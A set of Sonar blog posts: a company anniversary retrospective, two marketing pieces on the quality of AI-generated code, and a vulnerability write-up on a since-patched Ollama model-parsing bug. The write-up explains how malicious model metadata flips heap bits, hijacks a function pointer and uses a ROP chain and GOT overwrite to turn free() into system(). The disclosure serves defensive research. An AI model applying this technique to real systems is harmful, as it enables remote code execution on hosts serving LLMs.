The journey from AutoCodeRover to the Sonar Foundation Agent offers a critical insight for the future of agentic coding: as underlying models grow more powerful, we must grant them more autonomy. Our research clearly shows that moving from a constrained, two-stage process to a "Free Workflow" and refining prompts to be less prescriptive unlocked the agent's full potential, boosting efficacy from 58% to 75%. This principle of matching agent autonomy to model capability will be foundational as we continue to push the boundaries of AI-driven software development.

Seventeen years later, code quality is more relevant than ever

Olivier Gaudin — Thu, 13 Nov 2025 16:00:00 GMT

TL;DR overview

Sonar celebrates its 17-year anniversary as a company, reflecting on the journey from a three-developer open-source project to the industry standard for code quality and security trusted by over 7 million developers globally.
Founded in 2007 by Olivier Gaudin, Freddy Mallet, and Simon Brandhof, Sonar's SonarQube platform began as an open-source tool for Java analysis before expanding to 30+ languages and building commercial enterprise products.
Over 17 years, Sonar has grown to serve more than 400,000 organizations, analyze over 750 billion lines of code daily, and expand its mission from code quality to integrated code quality and code security.
The anniversary marks continued investment in AI-era capabilities including AI Code Assurance, the SonarQube MCP Server, and SonarQube Advanced Security.

Nearly two decades ago, as a tech lead at a small company in France, I was frustrated that there wasn’t a tool to let us software engineers ensure the consistency and quality of code as we created it.

So I teamed up with two friends equally passionate about software engineering. We launched an open source project to create a code quality review tool, something that could help make coding more consistent and predictable. We didn’t set out to start a business initially, but it became obvious we should. So, on November 13, 2008 (17 years ago today), we incorporated the company that is now Sonar.

What started as a free and open source tool to solve our own problem has grown to become SonarQube, a product now used by more than 7 million developers around the world to review and improve the quality and security of over 750 billion lines of code every day.

In many ways, though, I’m still that frustrated software engineer. Our industry has evolved, awareness is much higher, and hundreds of thousands of organizations are using Sonar. But code review has not become the mainstream and systematic practice it should be.

And in a world where coding has emerged as a “killer app” for AI, which now writes billions of lines of code a day, organizations are increasingly discovering that coding speed is no longer the bottleneck. Instead, the verification of the code generated by LLMs has become the new challenge, as AI generated code often contains all sorts of issues.

If there’s one thing that my time at Sonar has confirmed to me, it’s that low-quality code unavoidably slows teams down, increases business risk, and eventually leads to rewriting applications.

So to celebrate our 17th anniversary, I decided to look back at some of the biggest achievements we’ve made over the years in pursuit of improved code quality.

Sonar’s early days, providing developers access to the data

In the beginning the three of us operated out of a small office in Geneva. We made one pitch to an investor, and decided right after that we should focus on doing what we know best: developing a product. We bootstrapped the company, even though none of us had ever been entrepreneurs before. We paid ourselves when we could, and had to wait to hire employees until after we began seeing regular revenue.

We were working from our core strengths. First, we deeply understood software engineering, i.e. the state of the art of building software, and its evolution. Second, we were building a product for developers, and we were using it every day for our own needs (in other words, dogfooding it). Third, we chose to open source our product, which quickly gave us access to a vibrant Sonar community, and enabled us to operate on a “release early, release often” approach, fueled by community feedback. Last but not least, we had a vision that after software configuration management (SCM), Continuous Integration (CI), and issue tracking, the next area of the DevOps transformation would be testing, and we wanted to be ready for this.

We started from the belief that developers care about code quality and that if the code they deliver misses the mark, this is because they did not have access to its quality information while writing it. So our goal was to provide that information, initially integrating existing OSS tools, and building two features: to have a single configuration to drive multiple tools and a database to store historical information.

We quickly realized that the quality and depth of the data was key, and we could not rely on external tools. We started to write an analyzer on top of existing parsers, and eventually owned the entire stack, building symbolic execution, semantic analysis, and dataflow analysis to become what you know today.

From very early, it was clear that we were onto something. We received feedback from developers who’d been seeking to build something similar, but when they saw Sonar, they would drop those efforts and use Sonar instead. We made it quickly as a codehaus mojo, enabling our users to use the magical mvn sonar:sonar command on their project.

Then a week after we released our first paid feature, we sold it to a Fortune 500 company (and we had no idea they were already using Sonar). We did not even have a process to sell, and when we sent them the invoice, we numbered it F0000242 to pretend they were not our first customer.

A year later, we were able to pay ourselves decently and also hire our first two employees. Which then led to a different problem a few years later when we started to be extremely successful: hiring enough people to maintain and develop the product. 🙂

From startup to scaleup, crossing the chasm

Our industry continued its transformation, and we began to face some new challenges.

For example, as CI became standard in many organizations, delivery was becoming (generally) more linear, and the definition of “done” clearer. This meant that verifying code quality only once a day as part of a build was not good enough anymore.

Indeed, developers (including our own) started to complain that receiving a notification about a quality gate failing after they had already started working on a different topic was painful context switching. We realized we needed to shift some of this code quality review left—further upstream—by moving into the integrated development environment (IDE). So was born SonarQube for IDE (SonarLint at the time).

When I first tested an early version of our IDE-integrated tool, though, it was taking about 30 seconds to provide feedback on just-written code in Eclipse. I asked the team who is using SonarLint, and the answer was: only Julien. (Julien was the only SonarLint developer at the time…)

We made a rule right then and there: Everything had to happen in less than 300 milliseconds in the IDE. To achieve this, we needed to make massive changes to the architecture of SonarQube. The biggest one was that analyzers should not access the database directly. This was done in SonarQube 5.1, which took us 7 months to release (drama…), versus the usual every-other-month release schedule. That delay was the price necessary to create the most widely adopted IDE extension for code quality and security globally.

In the meantime, we also started to see a shift in the industry whereby customers no longer wanted to build their own environment using best-of-breed tools. Instead, they sought an industry-standard integrated suite of tools where they only needed to add the missing pieces. We then became obsessed with integration, trying to create a seamless experience in products like GitHub, GitLab, Bitbucket, TFS & VSTS (!), Jenkins…

Because we could not fight on all fronts, we also made the decision to not be a platform to generally manage quality, but instead to be the best product to manage code quality. We went through an interesting time, during which we started to remove all sorts of APIs and generic features from the platform product. This was done with the community. It was not easy but it has stayed for me as a high moment as we eventually generated a lot of value.

Leading with value

As our product became more and more popular, we next faced a challenge with internal growth and organizational structure. I would claim that at some stage we were the most sub-organized 100M+ revenue company in the world.

I believe our fast growth was because of our first-principles approach to everything. We wanted everyone to understand our approach to the product, and therefore the product should sell itself. (Our demo system’s password was actually sells1tself, not to upset anyone, but just because we believed it). Because we began as a boot-strapped company, we had no other choice but to deliver value that people wanted to pay for if we were going to succeed.

This also meant that we had to honestly challenge ourselves when the product was missing the mark and adjust quickly, which was helped by the fact that we were always dogfooding our own product and seeing its successes and failures firsthand.

In retrospect, I believe that leading with product value gave us a critical sales and marketing advantage that most companies would envy.

Sonar today, meeting the AI moment

Something we realized a while ago is that if “software rules the world,” it means that a codebase is a company's most valuable asset and they should take good care of it. With AI entering the dance, this stays true. But the entropy of the codebase is accelerating, and this makes code quality that much more critical.

While LLMs continue to get more powerful each day, we are still nowhere close to a day where AI is writing “good enough” code. In fact, an independent, standardized code verification layer is even more important as human developers become more removed from code creation.

I’m proud of all that our team has accomplished the past 17 years, establishing Sonar as a de facto industry standard for code quality. In many ways, our original roots from when the open source project was first created are still visible. We are still developer-first, product-led, and focused on providing value for our customers and users.

Code quality is more relevant than ever, and so is Sonar!

The inevitable rise of poor code quality in AI-accelerated codebases

Robert Curlee — Wed, 05 Nov 2025 16:00:00 GMT

TL;DR overview

AI-accelerated development inevitably increases the accumulation of code quality liabilities—bugs, security vulnerabilities, structural complexity, and technical debt—not because AI models are deficient, but because the sheer volume of generated code overwhelms manual review capacity.
Even as LLMs improve per-unit code quality, the velocity gains drive bottlenecks in manual code review and verification; teams that accept unverified AI output at scale face a compounding quality decline that eventually slows delivery more than the AI tools speed it up.
SonarQube addresses this by serving as the automated verification layer between AI generation and production: context-aware analysis catches structural issues like code smells, duplication, and architectural inconsistency that AI generation systematically introduces.
The strategic response is not to limit AI usage but to establish automated verification at the same scale—integrating SonarQube into every branch, pull request, and merge so that high-velocity AI generation is matched by equally high-velocity quality enforcement.

The practice of modern software development has fundamentally shifted, prioritizing market velocity as the primary driver of software value. The adoption of Large Language Models (LLMs) and AI coding assistants has radically accelerated the development lifecycle, offering the potential for developers to achieve up to a 55% increase in productivity and complete tasks twice as fast. This massive boost in feature delivery speed is now a competitive imperative for top-tier organizations.

However, this acceleration introduces a fundamental risk: an Engineering Productivity Paradox. The immense velocity gain inherently increases the accumulation of code quality liabilities, specifically bugs, security vulnerabilities, structural complexity, and technical debt. This decline in quality is not due to developer negligence but is a matter-of-fact consequence of the speed and mechanism of AI code generation. Even as LLMs get better and better at the quality of the code they generate, the sheer volume leads to bottlenecks in manual code reviews and verification. With this shift towards velocity, a large growing and unmanageable mass of new issues are introduced in codebases causing a decline in overall quality. Accepting this decline is often viewed as a calculated and strategic trade-off for speed-to-market advantages.

The strategic objective is not to eliminate AI use, but to establish automated code review and governance mechanisms capable of managing and mitigating the quality issues introduced by increased code volumes.

Quantifying the code quality inflection point

The impact of generative AI is accelerating every phase of the Software Development Lifecycle (SDLC). While AI-assisted Pull Requests (PRs) reduced median resolution time by more than 60%, this throughput increase introduces a higher load on developers to perform reviews and exponentially increases the surface area for quality issues.

The mechanism of structural decay

Technical debt, defined by problems like high cyclomatic complexity, excessive duplication, and lack of maintainability, is rapidly accruing. This structural debt arises because LLMs prioritize local functional correctness over global architectural coherence and long-term maintainability.

Empirical evidence confirms this decay:

Accelerated duplication: AI’s ability to generate functional snippets instantaneously creates a structural incentive for developers to accept quick, duplicated code rather than performing complex refactoring. GitClear’s 2020 to 2024 analysis tracked an 8-fold increase in the frequency of code blocks containing five or more duplicated lines, confirming a significant decline in code reuse. Furthermore, 2024 was the first year where the number of copy/pasted lines exceeded the number of moved (refactored) lines.
Increased complexity: Cyclomatic Complexity, a metric correlated with maintenance difficulty, is generally higher in LLM-generated code. Since AI increases Lines of Code, Halstead Metrics, and Cyclomatic Complexity, the resulting increase of maintainability issues confirms the rising accumulation of structurally weak code.

The hidden cost of delivery instability

The escalating rise of code liabilities translates directly into an increased review and remediation workload. Data from a Harness survey indicates that 67% of developers reported spending more time debugging AI-generated code. This bloated, AI-generated code is inherently harder and more expensive to maintain and integrate.

Crucial evidence confirming the speed-quality trade-off emerged from the Google 2025 DORA Report, which found that a 90% increase in AI adoption was associated with an estimated 9% climb in bug rates, a 91% increase in code review time and a 154% increase in pull request size. This confirms increased latent defect density in high-velocity code.

This convergence of data points and the massive duplication surge and the DORA stability drop confirms that 2024 marked a critical code quality inflection point where poor code quality accumulation began to accelerate exponentially as a percentage of overall codebase volumes across the globe. This coincides with the industry-wide adoption of AI-assisted coding practice. In their 2025 Predictions Guide, Forrester predicts that by 2026, 75% of technology decision-makers will face moderate to severe technical debt.

^{SonarQube is the industry standard trust and verification layer for high-quality code.}

Resolving the Engineering Productivity Paradox is a strategic imperative

The exponential trajectory of technical debt creates a catch-22 scenario. Companies must adopt AI for competitive speed, but this adoption increases technical debt, requiring even more resources to manage.

The DORA amplification thesis

Google’s 2025 DORA Report introduced the definitive thesis: AI doesn't fix a team; it amplifies what’s already there.

Teams with strong control systems (e.g., robust testing, mature platforms) utilize AI to achieve continued high throughput with stable delivery.
Struggling teams, constrained by tightly coupled systems, find that increased change volume only intensifies existing coding problems.

This validates the core premise. The core issue is the lack of implementing tooling necessary to channel AI’s speed without suffering codebase degradation. To secure the massive productivity gains offered by AI, organizations must pivot from reactive manual reviews and debugging to proactive automated code reviews and quality gates that enforce quality integrity before code is merged.

SonarQube: the verification layer for managed acceleration

The accumulated technical debt generated during the high-velocity adoption phase will become structurally and financially unsustainable without automated code review and remediation. The solution lies in specialized, context-aware tooling that provides a "last mile" quality check.

SonarQube is the industry standard automated code review platform that directly addresses this crisis.

How SonarQube resolves the Engineering Productivity Paradox

The Engineering Productivity Paradox is resolved by transitioning from unverified usage of AI to managed acceleration. SonarQube acts as the necessary verification and trust layer by integrating code quality and code security checks directly into the development workflow, at every branch, pull request, and merge.

Context-aware automated reviews: Standard AI tools often lack the necessary scope to detect subtle quality issues rooted in deep duplication. SonarQube identifies duplication, outdated constructs, and architectural inconsistencies across massive codebases, tasks previously too complex or expensive for human developers to perform manually.
Mitigating decay metrics: SonarQube actively detects and remediates the structural issues (like high Cyclomatic Complexity and duplication) that mathematically decrease the Maintainability Index.
Sustaining exponential gain: For elite teams, those with robust platforms and testing, implementing SonarQube ensures the high accrual of debt is proactively mitigated. This enables them to maximize velocity with controlled, predictable costs, achieving an exponential gain. By leveraging automated, context-aware AI verification systems like SonarQube, the trend of accumulating poor code quality bends downward.

The integration of SonarQube into the developer workflow shifts the future value proposition from raw output volume to intelligent code creation. By implementing rigorous code governance and specialized, context-aware automated code reviews, companies transition to managed acceleration and can reach sustained, exponential return on their technological investment.

Ollama Remote Code Execution: Securing the Code That Runs LLMs

Paul Gerste — Tue, 04 Nov 2025 16:00:00 GMT

TL;DR overview

Sonar's vulnerability research uncovered a remote code execution vulnerability in Ollama—the popular tool for running LLMs locally—demonstrating that AI infrastructure software carries the same security risks as any other networked application.
The vulnerability exists in Ollama's model management functionality, where insufficient validation of user-supplied input allows an attacker to execute arbitrary commands on the host system.
As LLM serving tools like Ollama become widely deployed in enterprise environments, their security posture becomes a critical supply chain concern—code running AI models must be held to the same security standards as production application code.
Ollama users should apply patches immediately and restrict network access to the Ollama server; organizations deploying AI infrastructure should integrate static analysis into evaluation and deployment processes.

Ollama is one of the most popular open-source projects on GitHub, with more than 155k stars. It is used by many AI enthusiasts and developers to run LLMs locally on their infrastructure without needing to send data to and pay external vendors such as OpenAI. Ollama supports a big variety of open-source models, such as gpt-oss, DeepSeek-R1, Meta's Llama4, or Google's Gemma3.

As part of our commitment to secure the open-source ecosystem, we audited the code base of Ollama for vulnerabilities. We found a critical Out-Of-Bounds Write vulnerability that occurs during the parsing of malicious model files and can lead to the execution of arbitrary code.

In this blog post, we will explain the technical details of this vulnerability, walk you through a proof-of-concept to determine exploitability, and show how the bug was fixed by the Ollama maintainers. The content was also presented as a talk at Hack.lu 2025:

Watch the video

Impact

An attacker with access to Ollama's API can load and run a malicious model, leading to Remote Code Execution. The vulnerability exists in Ollama versions before 0.7.0. We confirmed exploitability in builds without the Position Independent Executable (PIE) configuration, but it is likely also exploitable in PIE-enabled builds, such as the official releases. We strongly recommend updating Ollama to the latest version.

Technical Details

Ollama is mainly written in Go but uses C and C++ under the hood, for example to interface with the llama.cpp library. Especially compute-heavy tasks like inference are performed by C/C++ code. On a higher level, Ollama implements a client-server architecture, where the server can run locally or in the cloud, and the client is only used to interact with the server, e.g., to submit a prompt. The server then spawns a runner process per model to perform the inference and sends the result back to the client:

One of Ollama's big strengths is that it can run a wide range of model types. Users can publish models to the internet, and others can pull them. This is very similar to container images, which can be pushed and pulled from registries. There is an official model registry at registry.ollama.ai, but users can also host their own.

To run a model, Ollama first needs to instantiate a runner process, which has to parse and load the model from disk. Each model is loaded from a GGUF file, which is a binary file format storing model metadata and weights. A model's metadata is stored in a key-value pair format, such as its name and description, but also specifics about its internal structure, such as the number of layers. The model's weights are stored in so-called tensors, which are big binary blobs that represent multi-dimensional arrays. Some of a model's metadata is used to build the in-memory representation of the model, and this differs a lot between model types.

A wild strcpy

When approaching a target, we first scan it with SonarQube and triage the detected code issues. In the case of Ollama, SonarQube raised a usage of the dangerous strcpy() function:

View issue on SonarQube Cloud

The issue is indeed a valid vulnerability because the copied source string comes from the metadata section of an LLM model file via gguf_get_val_str(), and the target buffer has a fixed size:

llama/llama.cpp/examples/llava/clip.cpp:

struct clip_hparams {
    // ...
    char mm_patch_merge_type[32] = "flat"; // spatial_unpad or flat (default)
    // ...
};

An attacker could craft and load a malicious model file with a clip.vision.mm_patch_merge_type metadata entry that is larger than 32 bytes. This would then overflow the buffer and overwrite the data located in memory after the mm_patch_merge_type buffer.

However, after further investigation, the vulnerability did not seem that useful for an attacker because the overwritten data was not used in ways that seemed dangerous. Therefore, we continued our investigation of the Ollama code base.

More untrusted metadata

During the parsing of an mllama model, a multi-modal version of the llama family, there is a special parameter that specifies which layers should be considered "intermediate":

llama/mllama.cpp:

auto &vision_model = new_mllama->vision_model;
auto &hparams = vision_model.hparams;
// [...]
hparams.n_layer = get_u32(ctx, "mllama.vision.block_count");
// [...]

std::vector<uint32_t> intermediate_layers_indices = get_u32_array(ctx, "mllama.vision.intermediate_layers_indices");
hparams.intermediate_layers.resize(hparams.n_layer);
for (size_t i = 0; i < intermediate_layers_indices.size(); i++) {
    hparams.intermediate_layers[intermediate_layers_indices[i]] = true;
}

As we can see, the code reads an integer from the model's metadata and stores it in n_layer. It then initializes a list of booleans (std::vector<bool>) to reserve space for n_layers items. Afterward, the code uses another metadata item, mllama.vision.intermediate_layers_indices, to mark some layers as intermediate by setting the corresponding vector item to true.

However, there are no checks that verify if an index read from intermediate_layers_indices is actually within the bounds of the intermediate_layers vector. In contrast to other programming languages, the C++ std::vector also does not perform bounds checks, leading to an Out-Of-Bounds (OOB) Write vulnerability. Since the loaded model file can be controlled by an attacker, the included metadata should be treated as untrusted data by Ollama. However, the indices array is never checked to contain only indices smaller than the number of layers.

To confirm the OOB write, we quickly crafted a model file that contains a big index, leading to a segmentation fault:

Is this exploitable?

At first glance, this bug does not look very promising for an attacker. Usually, a bool is stored as a single byte where 0 corresponds to false and 1 corresponds to true. Setting arbitrary bytes to 0x01 in the memory after the vector does not look like the attacker can control much.

However, it turns out that std::vector<bool> has a special implementation: since a boolean has only two states, it can be represented with a single bit! Therefore, a vector of booleans uses a memory-efficient representation where each item is packed into a single bit:

For the vulnerability, this means that an attacker can flip arbitrary bits from 0 to 1. We can immediately make two observations about this primitive: The attacker can create arbitrary values in memory if that memory value is already zero, since all bits can potentially be flipped. However, this also means that the attacker has very limited control over memory that already contains data. Basically, existing values can only be increased because existing 1-bits will stay, and only 0-bits can be flipped to 1.

Is there an attack path?

To see how this bit-setting primitive can be used by the attacker, let's inspect the memory around the vector. Since the vector is allocated on the heap, there are two possible targets:

Heap chunk metadata
Contents of heap chunks

We chose to look for the latter first, and indeed, there were some structs in reach of the OOB write that are promising for an attacker. One of them, the ggml_backend struct, contains a bunch of function pointers, some of which are NULL:

ml/backend/ggml/ggml/src/ggml-cpu/ggml-cpu.cpp:

struct ggml_backend {
    ggml_guid_t guid;
    struct ggml_backend_i iface;
    ggml_backend_dev_t device;
    void * context;
};
static const struct ggml_backend_i ggml_backend_cpu_i = {
    /* .get_name                = */ ggml_backend_cpu_get_name,
    /* .free                    = */ ggml_backend_cpu_free,
    /* .set_tensor_async        = */ NULL,
    /* .get_tensor_async        = */ NULL,
    /* .cpy_tensor_async        = */ NULL,
    /* .synchronize             = */ NULL,
    /* .graph_plan_create       = */ ggml_backend_cpu_graph_plan_create,
    /* .graph_plan_free         = */ ggml_backend_cpu_graph_plan_free,
    /* .graph_plan_update       = */ NULL,
    /* .graph_plan_compute      = */ ggml_backend_cpu_graph_plan_compute,
    /* .graph_compute           = */ ggml_backend_cpu_graph_compute,
    /* .event_record            = */ NULL,
    /* .event_wait              = */ NULL,
};

These function pointers are called later during inference, and there is a catch: Some of the calls are wrapped in checks that will only call the pointer if it's not NULL:

ml/backend/ggml/ggml/src/ggml-backend.cpp:

void ggml_backend_synchronize(ggml_backend_t backend) {
    if (backend->iface.synchronize == NULL) {
        return;
    }

    backend->iface.synchronize(backend);
}

For the attacker, this is gold: they can overwrite one of the NULL pointers with an arbitrary address (according to the primitive laid out above) and cause the pointer to be called.

Proof-of-concept

To create a first proof-of-concept that makes Ollama call an arbitrary address, we just had to craft a model that contains the right indices representing the offsets of the 1s we want to write in memory. The model also has to pass the parsing and get successfully constructed in memory because the functionality calling the pointer happens during inference, which is after the model parsing.

This was easier said than done, and we had to spend quite some time here. One problem was that off-the-shelf models were quite large (multiple gigabytes), so they weren't great for testing. However, crafting a model from scratch was also not an easy task, as all the metadata and tensors had to match so that no checks would fail while the model was created in-memory.

After some time, we finally managed to create a model that is only a few kilobytes big and can be processed by Ollama. We were able to confirm the controlled call by writing 0x4141414141414141 to the .synchronize member of the ggml_backend struct:

Who you gonna call?

This already shows quite a big amount of control over the program, but we had to determine whether attackers would be able to execute arbitrary code. For this, we had to find functions that might be interesting for an attacker to use on their way to arbitrary code execution.

For our debugging setup, we built Ollama via go build ., which does not enable the Position-Independent Executable (PIE) security hardening by default. This means that the address of the program in memory is static, which also makes the address of every function in the binary deterministic. An attacker could use this to write the address of any function contained within the Ollama binary into the struct's .synchronize field, causing it to be called.

First, we checked if there are easy-to-use gadgets, such as a one-gadget. However, this approach did not work out. First, the base address of libc is unknown, making it impossible for the attacker to use gadgets from libc. Second, the Ollama binary itself did not import functions like system(), so we could not simply jump there.

Third and most importantly, the .synchronize function pointer is only called with a single argument, which is a pointer to the ggml_backend struct itself. This means that, even if the attacker could redirect the call to system(), they would not be able to pass a string with attacker-controlled commands to it. We decided that it was not worth looking for other "easy" gadgets and that it was time to go the classic route of building a Return-Oriented Programming (ROP) chain.

Building a ROP chain

Knowing the base address of the executable in memory not only means the attacker can jump to arbitrary functions, but also to any instruction within the binary. This can be used to chain together a list of already existing instruction snippets that, when executed sequentially, perform the behavior that the attacker wants. These instructions are called gadgets.

However, to make the program execute a sequence of gadgets, the attacker needs to control the stack and write multiple return addresses that represent the gadgets. When the program returns from the first gadget, it will return to the address of the second gadget, and so on. To make this feasible in the Ollama scenario, the attacker first needs to perform a stack pivot by swapping out the stack with a memory location the attacker controls. This is usually done by overwriting the stack pointer (rsp).

After listing and examining the available ROP gadgets, there was one promising gadget that stood out:
mov rsp, rbx ; pop rbp ; ret

This gadget would overwrite the stack pointer with the value in rbx, remove one item from the stack, and then continue the ROP chain from there. While debugging the program at the point of the attacker-controlled jump, we can see that rbx points to the ggml_backend struct, which will become the new stack! This is great for the attacker because they already know how to control some of the values of this struct. However, there are some constraints that need to be met to make the attack work.

Fitting a ROP chain into `ggml_backend`

The main problem is that the attacker can't control all the values in the struct, due to the limitations of the bit-flipping primitive. To recap, the attacker can only flip 0s to 1s, not the other way around. Looking at the values in the struct before the OOB write happens, it seems that the attacker only has limited control over the ROP chain:

The red areas cannot be changed. The first one points to a location after the binary's text section, meaning it cannot be modified to become a valid code pointer because the bit flipping primitive can only be used to increase values. The second red slot cannot be changed because it points to the stack pivot gadget that starts the whole ROP chain. The last two red slots also point to locations after the text section.

The pink areas already contain values, but they are pointers to the text section. This means that they could be slightly altered to point to different code locations, but the modifications are very limited.

The blue areas only contain null bytes. The attacker can therefore overwrite them with arbitrary data, so they can be used for arbitrary ROP gadgets without any constraints.

The first problem for the attacker is that the very beginning of the struct contains data that cannot be modified into a code pointer. However, the stack pivot gadget pops a value off the stack after overwriting rsp, so the first "slot" is skipped.

The next problem is that the existing function pointers (in pink) might have side effects when called, such as clobbering register values or crashing due to unexpected argument values. However, with a bit of scripting, we were able to confirm that an attacker can modify them into harmless ret gadgets.

For example, the .free member points to the ggml_backend_cpu_free function at the address 0x12e59a0. Listing all valid code addresses that can be constructed from this address by flipping 0-bits, we can find some gadgets:

We noticed that all the existing addresses (pink areas in the struct) can be turned into the addresses of ret instructions. These are essentially no-ops because the only thing they do is return to the next ROP gadget without causing any side effects. The attacker, therefore, does not have to worry about them and can focus on using the free slots for actual gadgets. There is still the limitation of only 6 free slots, but this already gives the attacker much more room to play with.

From free to system

Looking at the binary's protections, we can see that RelRO is only set to partial, which means that the Global Offset Table (GOT) is writable. Since Ollama imports some functions from libc, such as printf or free, the attacker can modify these GOT entries to point to a dangerous function like system instead. Investigating Ollama's code, we found a location that calls free with the address of an attacker-controlled string:

llama/llama.go:

func (m *Model) Tokenize(text string, addSpecial bool, parseSpecial bool) ([]int, error) {
	// [...]
	cText := C.CString(text)
	defer C.free(unsafe.Pointer(cText))
	// [...]
}

During prompt tokenization, Ollama calls from its Go code base into the C++ code of llama.cpp. For this, strings need to be converted to C-strings and allocated on the heap to avoid memory management issues. To clean up unused memory afterward, the Tokenize function defers a call to libc's free() that will happen when Tokenize finishes.

Since the prompt is attacker-controlled, the call to free() receives an attacker-controlled string as its argument. To weaponize this, the attacker can use a ROP chain that redirects the free function to libc's system function instead. This can be done by adding the distance between free and system onto the GOT entry for free. This can, for example, be achieved with the following ROP chain:

After this overwrite, any call to free will instead run a system command via system!

The final hurdle

In order to be able to send another prompt with the command, the attacker needs to keep the runner process alive long enough. However, the current ROP chain will not exit gracefully, causing the process to crash shortly after.

To avoid this, the attacker can add one more gadget that calls the exit syscall. In contrast to libc's exit() function, this syscall does not terminate the process but only the current thread. Since the model inference computation is done asynchronously, terminating the thread does not crash or terminate the runner process. Instead, the main thread will notice that the work threads have terminated, expecting the inference to be completed. This allows the attacker to send follow-up prompt requests containing arbitrary system commands, which will be executed by the runner process via system() instead of free()-ing them.

The PIE is a lie

After finishing our proof-of-concept, we realized that it would not work for most Ollama instances. But why? When building Ollama for release, another protection called "Position-Independent Executable" (PIE) is enabled explicitly via the -buildmode=pie build argument. This means that, to build a ROP chain, an attacker would first need to leak an address from memory and compute the binary base address.

However, since the model parsing happens as the first thing when spawning a runner process, there is basically no chance for an information leak before that. Therefore, in order to build an exploit against release versions of Ollama, the attacker would need to go a different route, likely using the OOB write to corrupt some other object's size field, giving them arbitrary read and write primitives during inference. However, we chose not to pursue this in the interest of time, although we deem it to be possible.

Patch

When we wanted to report the vulnerability to the Ollama maintainers, we double-checked that the vulnerable code lines were still present in the latest version on GitHub. However, when searching for the mllama.cpp file, we weren't able to find it. What happened?

It turns out that the mllama model handling was rewritten in Go and merged to the main branch just 2 days prior. We still sent a heads-up email to the maintainers, and they confirmed that the C++ implementation was indeed replaced with the new Go implementation.

This is a new remediation record in our disclosure history! The Ollama maintainers fixed the vulnerability 2 days before we even reported it. Good job on making our timeline look funny:

Timeline

Date	Action
2025-05-13	The Ollama maintainers release version 0.7.0, which removes the vulnerable code
2025-05-15	We report the issue to the Ollama maintainers

Summary

With AI and LLMs on the rise, it is more important than ever to check the security of the code that they run on top of. In this blog post, we showed that vulnerabilities in memory-unsafe code like C and C++ are still a thing in 2025. Such bugs can have severe consequences, and security hardenings like Position Independent Executable (PIE) are just a band-aid to limit the impact. Security in depth is a good thing, but vulnerabilities should be tackled where they originate: in the code.

Finally, we would like to express kudos to the Ollama maintainers for their outstanding time-to-fix of -2 days!

Vibe, then verify: How to navigate the risks of AI-generated code

Prasenjit Sarkar — Mon, 03 Nov 2025 16:00:00 GMT

TL;DR overview

AI-generated code introduces security and quality risks that developers may miss when moving quickly: LLMs can reproduce vulnerable patterns from training data and lack awareness of application-specific security context.
Common risks include injected credentials, insecure dependencies, missing input validation, and subtle logic errors that appear correct but behave incorrectly under adversarial inputs.
A "vibe, then verify" approach—using AI to generate code quickly and static analysis to verify security and quality automatically—lets teams benefit from AI productivity gains without accepting unverified code.
Organizations should establish clear policies on AI code use, require automated scanning of AI-generated contributions, and train developers to critically review AI suggestions rather than accepting them wholesale.

🎧 Listen to a 2-minute summary of this article.

AI is rewriting the traditional software development playbook. Developers are adopting AI on the ground, output is exploding, and leaders are being asked to convert promise into predictable velocity. In our recent webinar, “A qualitative analysis of six leading LLMs,” we went beyond functional performance benchmarks to analyze the quality, security, and maintainability of code produced by top models. Here’s what matters for both technology leaders and developers—and how to operationalize it.

What’s really driving the “engineering productivity paradox:”

Adoption is bottom-up and fast. A recent survey cited in the session shows 76% of developers are using or planning to use AI tools—this is a grassroots transformation, not a mandate.
Output is unprecedented. Cursor alone accounts for nearly a billion lines of accepted code every day—more than all human developers combined.
But productivity lags. Even with 30%+ of new code generated by AI in some organizations, estimated engineering velocity gains are closer to 10%, because humans must still review for security, reliability, and maintainability. That verification workload is the bottleneck—and the risk zone where subtle bugs and vulnerabilities accumulate.

A better lens than benchmarks: coding personalities

Our recent report “The Coding Personalities of Leading LLMs” evaluated thousands of Java tasks per model and inspected the code with production-grade criteria: complex bugs, critical vulnerabilities, and maintainability defects. The upshot: every model exhibits a distinct “coding personality” with predictable tradeoffs.

Performance vs. simplicity is a real trade. Higher functional pass rates often come bundled with more verbose, more complex code—raising downstream review and maintenance costs.
Security blind spots differ by model. All models struggled with injection and path traversal classes, but each showed signature weaknesses—for example, one trend we highlighted was a model skewing toward hard-coded secrets while another skewed toward cryptographic misconfigurations and inadequate I/O error handling.
Reliability profiles are model-specific. We saw stark differences—from models that repeatedly fumble control flow to models that trade those basic slips for harder concurrency and threading defects. Your review strategy should follow the personality: basic logic checks for one model, security vulnerability fixes for another.

Why do these patterns emerge? Training data quality drives behavior. Models learn from a vast mix of excellent, mediocre, and flawed code—so they pick up bad habits alongside good ones. Vulnerable patterns and subtle logic bugs in the training corpus get reproduced in generated code. These personalities aren’t random; they’re learned.

The reasoning dial: helpful, but it shifts risk

Our data identified a "sweet spot" for AI performance at a medium reasoning setting. While turning up reasoning further can raise success rates, it also produces longer, denser code, which in turn increases cost and complexity. Crucially, reasoning doesn’t remove risk; it moves it. You trade obvious, high-severity blockers for subtler, harder-to-find bugs like concurrency and I/O error-handling defects.

What leaders should do now:

Establish an independent verify layer. You need one dedicated tool that checks all your code for problems, no matter which AI model or human programmer wrote it. SonarQube is built to be that verification backbone, with consistent analysis across 35+ languages and developer-first workflows.
Close the gap in your SDLC. Automated PR checks, quality gates, and portfolio-level visibility shrink the verification bottleneck without diluting standards—solving the paradox of more code but modest velocity gains.
Govern AI coding explicitly. Make clear rules for how your team uses AI to write code. Make sure everyone follows those rules and have one clear standard for what “good code” looks like. It's a top priority for leaders to have a separate, unbiased system for checking all this new code.

What developers can do today:

Calibrate review to the model’s personality. If your AI coding assistant tends to generate control-flow mistakes, emphasize branch/edge-case tests and static checks for conditionals. If it leans into concurrency, then prioritize thread-safety reviews, resource handling, and deterministic tests for race conditions.
Keep the codebase simple and explainable. Complexity compounds risk. Use guardrails on function length, cognitive complexity, and duplication; comment sufficiently for future humans and tools to reason about the code.
Eliminate stray code and risky dependencies. AI can introduce dead code, unused imports, or unnecessary packages—each a maintainability or supply-chain hazard. Scrub relentlessly and scan dependencies with policy in mind.

Vibe, then verify: How Sonar can help

Embracing the "vibe, then verify" philosophy doesn't mean sacrificing speed for safety. With Sonar, development teams can fuel their creativity without friction. By integrating directly into IDEs and CI/CD pipelines, Sonar provides real-time guidance on the quality and security of both human and AI-written code. This allows teams to maintain their creative momentum, catching and resolving issues as they arise, long before they become critical problems.

